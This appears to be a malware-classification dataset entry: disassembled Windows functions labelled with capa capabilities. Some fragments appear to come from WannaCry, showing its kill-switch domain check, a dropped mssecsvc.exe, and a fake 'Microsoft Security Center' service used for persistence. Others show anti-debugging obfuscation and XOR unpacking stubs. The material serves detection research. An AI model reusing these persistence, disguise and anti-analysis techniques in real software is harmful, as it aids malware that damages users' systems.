joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10189401
Capabilities:
Execute anti-debugging instructions

Disassembly:
jmp 0x103e0d02
sub esp, 4
mov dword [esp], ebp
push eax
mov eax, 0x1f4f7ec9
mov dword [esp + 4], eax
jmp 0x103e0d17
pop eax
mov dword [esp], ebx
mov dword [esp], ebp
jmp 0x103e0e33
jmp 0x103e5672
jmp 0x103e5730
push esi
mov esi, esp
add esi, 4
push edx
mov edx, 4
sub esi, edx
pop edx
xchg dword [esp], esi
pop esp
mov dword [esp], esp
push edi
mov edi, 4
jmp 0x103e57a9
add dword [esp + 4], edi
pop edi
pop ebp
jmp 0x103e57b4
jmp 0x1046cf2f
jmp 0x103ffc7a
push ecx
push eax
mov eax, 0x1128441f
mov dword [esp + 4], eax
push dword [esp]
pop eax
add esp, 4
mov dword [esp], edx
jmp 0x103ffc97
jmp 0x1041d658
jmp 0x104085b5
push edi
push edx
push 0x185ef25d
pop edx
mov dword [esp + 4], edx
mov edx, dword [esp]
add esp, 4
mov dword [esp], ebx
jmp 0x1040861e
jmp 0x1044061f
jmp fcn.10408718
jmp 0x1041cd80
push ebx
mov dword [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg dword [esp], ecx
jmp 0x1041cde9
pop esp
mov dword [esp], edx
mov dword [esp], eax
pop dword [ebp - 0x14]
jmp 0x1041ce42
jmp 0x10408623
jmp 0x1041d716
rdtsc
jmp 0x1041d77a
jmp 0x1041cd20
jmp 0x10440645
xor edx, 0x76ffbffb
add ebx, edx
pop edx
sub ebx, 4
xor ebx, dword [esp]
xor dword [esp], ebx
xor ebx, dword [esp]
pop esp
mov dword [esp], ecx
jmp 0x10440762
push ecx
mov dword [esp], ebx
mov ebx, esp
push edx
mov edx, 0x36fe934e
inc edx
or edx, 0x60e93df3
jge 0x10440624
jmp 0x10440645
jmp 0x103ffb63
jmp 0x1046d041
push ebx
push dword [esp + 4]
pop ebx
pop dword [esp]
pop esp
jmp 0x1046d055
xor edx, 0x38423ea5
add ebx, edx
pop edx
add ebx, edx
sub ebx, 0x76feefaf
pop edx
sub ebx, 0x14
jmp 0x1046cfce
push ebx
mov ebx, esp
push edx
mov edx, 4
push edx
mov edx, 0x4ebcd10a
jmp 0x1046cfdd
jmp 0x10408524

Function at 0x10001060
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call fcn.1000106f
Function at 0x401448
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x208
lea eax, [ebp - 0x104]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x208]
push eax
push 0
push 0x4021f4
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
lea eax, [ebp - 0x208]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
leave
ret

Function at 0x4014ab
Capabilities:
Delete file
Move file

Disassembly:
sub esp, 0x104
push esi
mov esi, 0x403360
push esi
call fcn.00401448
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
pop esi
add esp, 0x104
ret
Function at 0x401718
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push 0x403500
mov dword [ebp - 4], 0x19c8
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x40174f
xor eax, eax
jmp 0x4017b1
push esi
mov esi, dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
mov edi, 0x44445a53
jmp 0x401788
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1a2c
jg 0x4017a4
push ebx
push ebx
push dword [ebp - 4]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebx
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
call esi
cmp dword [ebp - 0xc], edi
jne 0x40175e
push ebx
lea eax, [ebp - 0x10]
push eax
push 4
push 0x403608
push dword [ebp - 8]
call esi
mov ebx, dword [0x403608]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x4017b4
Capabilities:
Delete file

Disassembly:
sub esp, 0x18
push esi
push edi
xor esi, esi
and dword [esp + 8], esi
push 0x8001
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov dword [0x403464], eax
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
push 0x104
mov edi, 0x403500
push edi
push dword [esp + 0x2c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.00401718
test eax, eax
mov dword [0x40322c], eax
jne 0x40180d
push str._____Cant_find_stub_loader.
push 0x403480
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push esi
push 8
jmp 0x401825
add eax, 0x24ab
mov dword [0x403230], eax
call fcn.004014e0
mov esi, eax
test esi, esi
jge 0x401831
push esi
push 1
call fcn.004013e8
pop ecx
pop ecx
jmp 0x40197c
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x403240
call ebp
test eax, eax
mov dword [0x403234], eax
jne 0x401857
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 2
jmp 0x401973
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.LSUnpack
push eax
call ebx
test eax, eax
mov dword [0x40360c], eax
jne 0x40187c
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 3
jmp 0x401973
call fcn.004014ab
push 2
lea eax, [esp + 0x18]
push eax
push dword [0x403230]
mov eax, 0x4020d5
push eax
push eax
push 0x403360
push edi
call dword [0x40360c]
mov esi, eax
mov eax, dword [0x403234]
add esp, 0x1c
test eax, eax
je 0x4018bd
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
and dword [0x403234], 0
test esi, esi
je 0x4018c9
push esi
push 4
jmp 0x401973
push 0x403360
call ebp
test eax, eax
mov dword [0x403238], eax
jne 0x4018e7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 5
jmp 0x401973
push str.RunInstaller
push eax
call ebx
test eax, eax
mov dword [0x403604], eax
jne 0x401903
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
jmp 0x401973
mov eax, dword [0x403234]
test eax, eax
je 0x40191a
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
and dword [0x403234], 0
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x38]
push 0x4031fc
push str.
push 0x403120
push 0x403018
push dword [0x403230]
push 0x403240
push 0x403620
push edi
push dword [esp + 0x58]
call dword [0x403604]
mov esi, eax
add esp, 0x2c
test esi, esi
je 0x40197a
cmp esi, 0x63
je 0x40197a
cmp esi, 0x7b0
je 0x40197a
cmp esi, 0x7b1
je 0x40197a
push esi
push 7
call fcn.004013e8
pop ecx
pop ecx
pop ebp
pop ebx
mov eax, dword [0x403234]
test eax, eax
je 0x40198c
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [0x403238]
test eax, eax
je 0x40199c
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x403240
call edi
push 0x403360
call edi
push dword [0x403464]
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
cmp esi, 0x7b0
jne 0x4019cc
push 1
call fcn.0040111c
pop ecx
pop edi
cmp esi, 0x7b1
pop esi
jne 0x4019de
push 0
call fcn.0040111c
pop ecx
mov eax, dword [esp]
add esp, 0x18
ret 0x10
Function at 0x401a00
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x401a34
mov al, byte [esi + 1]
inc esi
test al, al
je 0x401a2c
lea ebx, [ebx]
cmp al, 0x22
je 0x401a31
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x401a20
cmp byte [esi], 0x22
jne 0x401a40
inc esi
jmp 0x401a40
cmp al, 0x20
jle 0x401a40
mov al, byte [esi + 1]
inc esi
cmp al, 0x20
jg 0x401a38
mov al, byte [esi]
test al, al
je 0x401a52
cmp al, 0x20
jg 0x401a52
mov al, byte [esi + 1]
inc esi
test al, al
jne 0x401a46
lea eax, [esp + 4]
push eax
mov dword [esp + 0x34], 0
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00401ae0
push 0x403004
push section..data
call fcn.00401ab0
mov al, byte [esp + 0x38]
add esp, 8
test al, 1
movzx eax, word [esp + 0x34]
jne 0x401a8e
mov eax, 0xa
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.00401b00
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x407a20
Capabilities:
Get file size
Read file on windows

Disassembly:
sub esp, 0xc
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push edi
push 0x50d800
push 0x40
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call esi
test eax, eax
mov dword [0x70f864], eax
jne 0x407a5d
pop edi
pop esi
pop ebx
add esp, 0xc
ret
push 0x50d800
push 0x40
call esi
test eax, eax
mov dword [0x70f868], eax
jne 0x407a84
mov eax, dword [0x70f864]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
xor edx, edx
test edx, edx
mov esi, 0x40b020
je 0x407a94
mov esi, 0x40f080
mov eax, edx
mov edi, dword [edx*4 + 0x70f864]
neg eax
sbb eax, eax
mov dword [esp + edx*4 + 0x10], edi
and eax, 0x8844
add eax, 0x4060
mov ecx, eax
mov ebx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + edx*4 + 0x10]
add esi, eax
mov dword [esp + edx*4 + 0x10], esi
inc edx
cmp edx, 2
jl 0x407a86
push 0
push 4
push 3
push 0
push 1
push 0x80000000
push str.C:WINDOWSmssecsvc.exe
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x407b11
mov ecx, dword [0x70f864]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push ecx
call esi
mov edx, dword [0x70f868]
push edx
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [esp + 0x10]
mov edi, eax
lea eax, [esp + 0xc]
push 0
push eax
lea ecx, [esi + 4]
push edi
push ecx
push ebx
mov dword [esi], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [esp + 0xc], edi
je 0x407b62
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x70f864]
mov esi, dword [sym.imp.KERNEL32.dll_GlobalFree]
push edx
call esi
mov eax, dword [0x70f868]
push eax
call esi
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
lea ecx, [edi + 4]
mov edi, dword [esp + 0x14]
mov edx, ecx
push ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0xc
ret

Function at 0x407b90
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x190
lea eax, [esp]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
test eax, eax
je 0x407bb2
xor eax, eax
add esp, 0x190
ret
call fcn.00407620
call fcn.00407a20
add esp, 0x190
ret

Function at 0x407bd0
Capabilities:
Create thread

Disassembly:
call fcn.00407b90
test eax, eax
jne 0x407bda
ret
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.MSVCRT.dll__beginthreadex]
push 0
push 0
push 0
push 0x407720
push 0
push 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0x18
test eax, eax
je 0x407c05
push eax
call ebp
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
xor esi, esi
push 0
push 0
push esi
push 0x407840
push 0
push 0
call edi
add esp, 0x18
test eax, eax
je 0x407c27
push eax
call ebp
push 0x7d0
call ebx
inc esi
cmp esi, 0x80
jl 0x407c0d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x407c40
Capabilities:
Create service
Persist via windows service
Start service

Disassembly:
sub esp, 0x104
lea eax, [esp]
push edi
push str.C:WINDOWSmssecsvc.exe
push str._s__m_security
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
je 0x407cca
push ebx
push esi
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x1c]
push 0
push ecx
push 1
push 2
push 0x10
push 0xf01ff
push str.Microsoft_Security_Center__2.0__Service
push str.mssecsvc2.0
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x407cbb
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
call ebx
push edi
call ebx
pop esi
pop ebx
xor eax, eax
pop edi
add esp, 0x104
ret
xor eax, eax
pop edi
add esp, 0x104
ret
Function at 0x407fa0
Capabilities:
Modify service

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x24]
xor edx, edx
mov dword [esp], 1
mov dword [esp + 8], 0
lea ecx, [eax + eax*4]
lea ecx, [ecx + ecx*4]
lea ecx, [ecx + ecx*4]
shl ecx, 3
cmp eax, 0xffffffff
mov dword [esp + 4], ecx
setne dl
mov eax, 0x70f87c
lea ecx, [esp + 8]
mov dword [esp + 0x14], edx
mov edx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
push ecx
lea eax, [esp + 4]
push 2
push edx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
add esp, 0x1c
ret

Function at 0x408140
Capabilities:
Create http request

Disassembly:
sub esp, 0x50
push esi
push edi
mov ecx, 0xe
mov esi, str.http:__www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
lea edi, [esp + 8]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [esp + 0x41], eax
mov dword [esp + 0x45], eax
mov dword [esp + 0x49], eax
mov dword [esp + 0x4d], eax
mov dword [esp + 0x51], eax
mov word [esp + 0x55], ax
push eax
push eax
push eax
push 1
push eax
mov byte [esp + 0x6b], al
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x84000000
push 0
lea ecx, [esp + 0x14]
mov esi, eax
push 0
push ecx
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
test edi, edi
nop
nop
call esi
push 0
call esi
call fcn.00408090
pop edi
xor eax, eax
pop esi
add esp, 0x50
ret 0x10

Function at 0x433003
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x40de38
nop
nop
mov ecx, 0x40877142
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x433024
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x4304d8
nop
mov ecx, 0x44157cac
nop
test eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x403f59
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x403f68
pop dword [ebp - 0x48]
mov eax, 0x4c640255
sub eax, 0x4c23c2ed
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x11f16a37
sub dword [ebp - 0x58], 0xc39f24ec
mov dword [ebp - 0x54], 0x7eab72e8
add dword [ebp - 0x54], 0xb387d95d
mov dword [ebp - 0x50], 0xa95b30dc
sub dword [ebp - 0x50], 0x5d0eecae
mov dword [ebp - 0x4c], 0x96d8ae8c
add dword [ebp - 0x4c], 0x69275174
lea eax, [ebp - 0x58]
push eax
mov eax, 0x7328d373
sub eax, 0x72e8031f
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x7ce436a6
add dword [ebp - 0x58], 0xf78e32b0
mov dword [ebp - 0x54], 0x80f554d3
add dword [ebp - 0x54], 0xc0770ca2
mov dword [ebp - 0x50], 0x5e3d3318
add dword [ebp - 0x50], 0x5323954
mov dword [ebp - 0x4c], 0x234363ba
sub dword [ebp - 0x4c], 0x234363ba
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x39d7c
push 0
call eax
mov ecx, 0x48fd
xor edx, edx
add edx, eax
mov edi, 0x41b000
add edi, dword [ebp - 0x48]
mov esi, 0x925633b9
sub esi, 0x53f78834
mov ebx, dword [edi]
sub dword [ebp - 0x28], esi
xor ebx, esi
mov dword [edx], ebx
mov dword [ebp - 0xc], 0xefaa9b2d
add edx, 4
add edi, 0x4748f1c5
sub edi, 0x4748f1c1
loop 0x40407b
add eax, 0x8862621
sub eax, 0x8850f5a
mov ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x403910
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44167b
mov eax, dword fs:[0]
push eax
sub esp, 0x234
mov eax, dword [0x459780]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x238], eax
mov eax, dword [ebp + 0xc]
push eax
push 0
push 0x410
mov dword [ebp - 0x23c], 0
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebx, eax
test ebx, ebx
je 0x403ae0
lea eax, [ebp - 0x234]
push eax
push 4
lea eax, [ebp - 0x23c]
push eax
push ebx
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x403ae0
mov eax, dword [ebp - 0x234]
mov ecx, 4
shr eax, 2
mul ecx
mov esi, eax
mov eax, 0xffffffff
cmovb esi, eax
push esi
call fcn.004356ff
mov edi, eax
add esp, 4
test edi, edi
je 0x4039c1
push esi
push 0
push edi
call sub.msvcrt.dll_memset
add esp, 0xc
jmp 0x4039c3
xor edi, edi
mov dword [ebp - 0x240], edi
lea eax, [ebp - 0x234]
mov dword [ebp - 4], 0
push eax
push dword [ebp - 0x234]
push edi
push ebx
call sub.KERNEL32.dll_K32EnumProcessModules
test eax, eax
je 0x403ad3
xor esi, esi
test dword [ebp - 0x234], 0xfffffffc
jbe 0x403ad3
nop
push 0x208
lea eax, [ebp - 0x218]
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x208
push eax
push dword [edi + esi*4]
push ebx
call sub.KERNEL32.dll_K32GetModuleFileNameExW
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.00401b80
mov eax, dword [ebp - 0x220]
cmp dword [ebp - 0x21c], 7
push 0
mov byte [ebp - 4], 1
lea ecx, [eax + eax]
lea eax, [ebp - 0x230]
cmova eax, dword [ebp - 0x230]
push ecx
mov ecx, dword [ebp - 0x238]
push eax
call fcn.00404520
mov ecx, dword [ebp - 0x238]
push 0
push 2
push 0x44462c
call fcn.00404520
mov ecx, dword [ebp - 0x21c]
mov byte [ebp - 4], 0
cmp ecx, 7
jbe 0x403ac1
mov edx, dword [ebp - 0x230]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403ab7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403afc
push ecx
push edx
call fcn.004356f1
add esp, 8
mov eax, dword [ebp - 0x234]
inc esi
shr eax, 2
cmp esi, eax
jb 0x403a00
test edi, edi
je 0x403ae0
push edi
call fcn.00435708
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004356ae
mov esp, ebp
pop ebp
ret
call fcn.004369e0
int3
Function at 0x4050d0
Capabilities:
Read file on windows
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x459780]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push str.RshFileMap000
push 0x34
push 0
push 4
push 0
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40514b
push 0x34
push 0
push 0
push 0xf001f
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, dword [eax]
mov dword [esi], ecx
mov ecx, dword [eax + 4]
mov dword [esi + 4], ecx
mov ecx, dword [eax + 8]
mov dword [esi + 8], ecx
mov ecx, dword [eax + 0xc]
mov dword [esi + 0xc], ecx
mov ecx, dword [eax + 0x10]
add eax, 0x14
push eax
lea eax, [esi + 0x14]
mov dword [esi + 0x10], ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x405174
mov dword [esi], 0
mov dword [esi + 4], 0x3a4
mov dword [esi + 8], 0x411
mov dword [esi + 0xc], 0xfffffde4
mov dword [esi + 0x10], 0x64
mov dword [esi + 0x14], 0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
lea eax, [ebp - 0x408]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetBinaryTypeW]
test eax, eax
je 0x4052bb
push 0
push 0
push 3
push 0
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x4051c6
pop edi
pop esi
mov eax, 0xffffd8ed
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004356ae
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x40c]
push eax
push 0x400
lea eax, [ebp - 0x404]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4052a5
mov eax, 0x5a4d
cmp word [ebp - 0x404], ax
jne 0x4052a5
push edi
call ebx
lea edi, [ebp - 0x404]
mov ebx, 0x14c
add edi, dword [ebp - 0x3c8]
movzx eax, word [edi + 4]
cmp ax, bx
je 0x405239
mov ecx, 0x8664
cmp ax, cx
je 0x405239
pop edi
pop esi
mov eax, 0xffffd8e5
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004356ae
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x34]
push str.RcpEvent000
push 0
push 0
mov dword [esi + 0x40], eax
mov eax, dword [edi + 0x28]
push 0
mov dword [esi + 0x44], eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push str.RcpFileMap000
push 4
push 0
push 4
push 0
push 0xffffffffffffffff
mov dword [esi + 0x34], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push 4
push 0
push 0
push 0xf001f
push eax
mov dword [esi + 0x38], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
xor ecx, ecx
mov dword [esi + 0x3c], eax
cmp word [edi + 4], bx
mov eax, 0xffffd8ef
pop edi
pop esi
cmove eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004356ae
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 0xffffd8e6
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004356ae
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, 0xffffd8ec
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004356ae
mov esp, ebp
pop ebp
ret
Function at 0x405d90
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [0x459780]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push esi
mov esi, dword [ebp + 0xc]
push str.RcpInternalMutex
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x405def
push 0
push str.NT_Locale_Emulator_Advance
push str.Err:_NTLEAS_could_not_startup_two_instances_at_one_time.
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, dword [ebp - 4]
mov eax, 0xffffd8ee
pop esi
xor ecx, ebp
pop edi
call fcn.004356ae
mov esp, ebp
pop ebp
ret
push 0x4c
lea eax, [ebp - 0x50]
push 0
push eax
call sub.msvcrt.dll_memset
mov edi, dword [esi + 4]
lea eax, [ebp - 0x50]
push edi
push eax
call fcn.004050d0
add esp, 0x14
mov dword [ebp - 0x50], 4
mov esi, eax
mov dword [ebp - 0x4c], 0x3a4
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x48], 0x411
push str.MS_PGothic
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
test esi, esi
jns 0x405e46
push esi
call fcn.00405a50
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x40
lea eax, [ebp - 0xa0]
mov dword [ebp - 0xa4], 0x44
xorps xmm0, xmm0
push 0
push eax
movups xmmword [ebp - 0x60], xmm0
call sub.msvcrt.dll_memset
add esp, 0xc
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0xa4]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x405e96
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0
lea eax, [ebp - 0x60]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.004052e0
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
add esp, 0xc
mov esi, eax
push dword [ebp - 0x5c]
call edi
test esi, esi
jns 0x405ed3
push esi
push dword [ebp - 0x60]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call fcn.00405a50
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push dword [ebp - 0x60]
call edi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]